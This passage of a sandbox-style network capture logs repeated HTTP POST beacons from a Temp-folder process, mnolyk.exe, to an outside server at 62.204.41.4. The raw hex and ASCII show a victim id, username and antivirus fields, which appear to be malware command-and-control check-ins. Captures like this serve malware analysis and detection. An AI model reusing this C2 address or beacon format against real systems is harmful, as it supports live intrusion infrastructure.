Feb 8, 2023 21:31:51.027291059 CET	328	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:31:51.091653109 CET	328	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:31:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
128	192.168.2.3	49830	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:31:51.265355110 CET	329	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:31:51.328028917 CET	329	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:31:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
129	192.168.2.3	49831	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:31:51.495547056 CET	330	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:31:51.557868004 CET	330	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:31:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
13	192.168.2.3	49714	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:31:13.211258888 CET	213	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:31:13.275711060 CET	214	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:31:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
130	192.168.2.3	49832	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:31:51.751305103 CET	331	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:31:51.814352036 CET	331	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:31:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
131	192.168.2.3	49833	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:31:51.983787060 CET	332	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:31:52.050180912 CET	332	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:31:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
132	192.168.2.3	49834	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:31:52.577364922 CET	333	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:31:52.640379906 CET	333	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:31:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
133	192.168.2.3	49835	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:31:52.859570980 CET	334	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:31:52.922553062 CET	334	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:31:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
134	192.168.2.3	49836	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:31:53.163923025 CET	335	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:31:53.229603052 CET	335	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:31:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
135	192.168.2.3	49837	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:31:54.069031000 CET	336	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:31:54.132919073 CET	336	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:31:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
136	192.168.2.3	49838	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:31:54.373775959 CET	337	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:31:54.438036919 CET	337	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:31:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
137	192.168.2.3	49839	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:31:55.963336945 CET	338	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:31:56.031137943 CET	338	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:31:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
138	192.168.2.3	49840	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:31:56.252732038 CET	339	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:31:56.321096897 CET	339	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:31:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
139	192.168.2.3	49841	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:31:56.501983881 CET	340	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:31:56.567166090 CET	340	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:31:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
14	192.168.2.3	49715	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:31:13.538250923 CET	214	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:31:13.601097107 CET	215	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:31:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
140	192.168.2.3	49842	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:31:56.777808905 CET	341	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:31:56.840537071 CET	341	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:31:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
141	192.168.2.3	49843	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:31:57.016438007 CET	342	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:31:57.083431959 CET	342	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:31:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
142	192.168.2.3	49844	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:31:57.262975931 CET	342	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:31:57.326699972 CET	343	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:31:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
143	192.168.2.3	49845	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:31:57.496565104 CET	344	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:31:57.558598042 CET	344	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:31:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
144	192.168.2.3	49846	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:31:57.735833883 CET	345	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:31:57.798593044 CET	345	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:31:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
145	192.168.2.3	49847	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:31:57.967039108 CET	346	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:31:58.030903101 CET	346	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:31:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
146	192.168.2.3	49848	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:31:58.209736109 CET	347	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:31:58.275710106 CET	347	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:31:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
147	192.168.2.3	49849	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
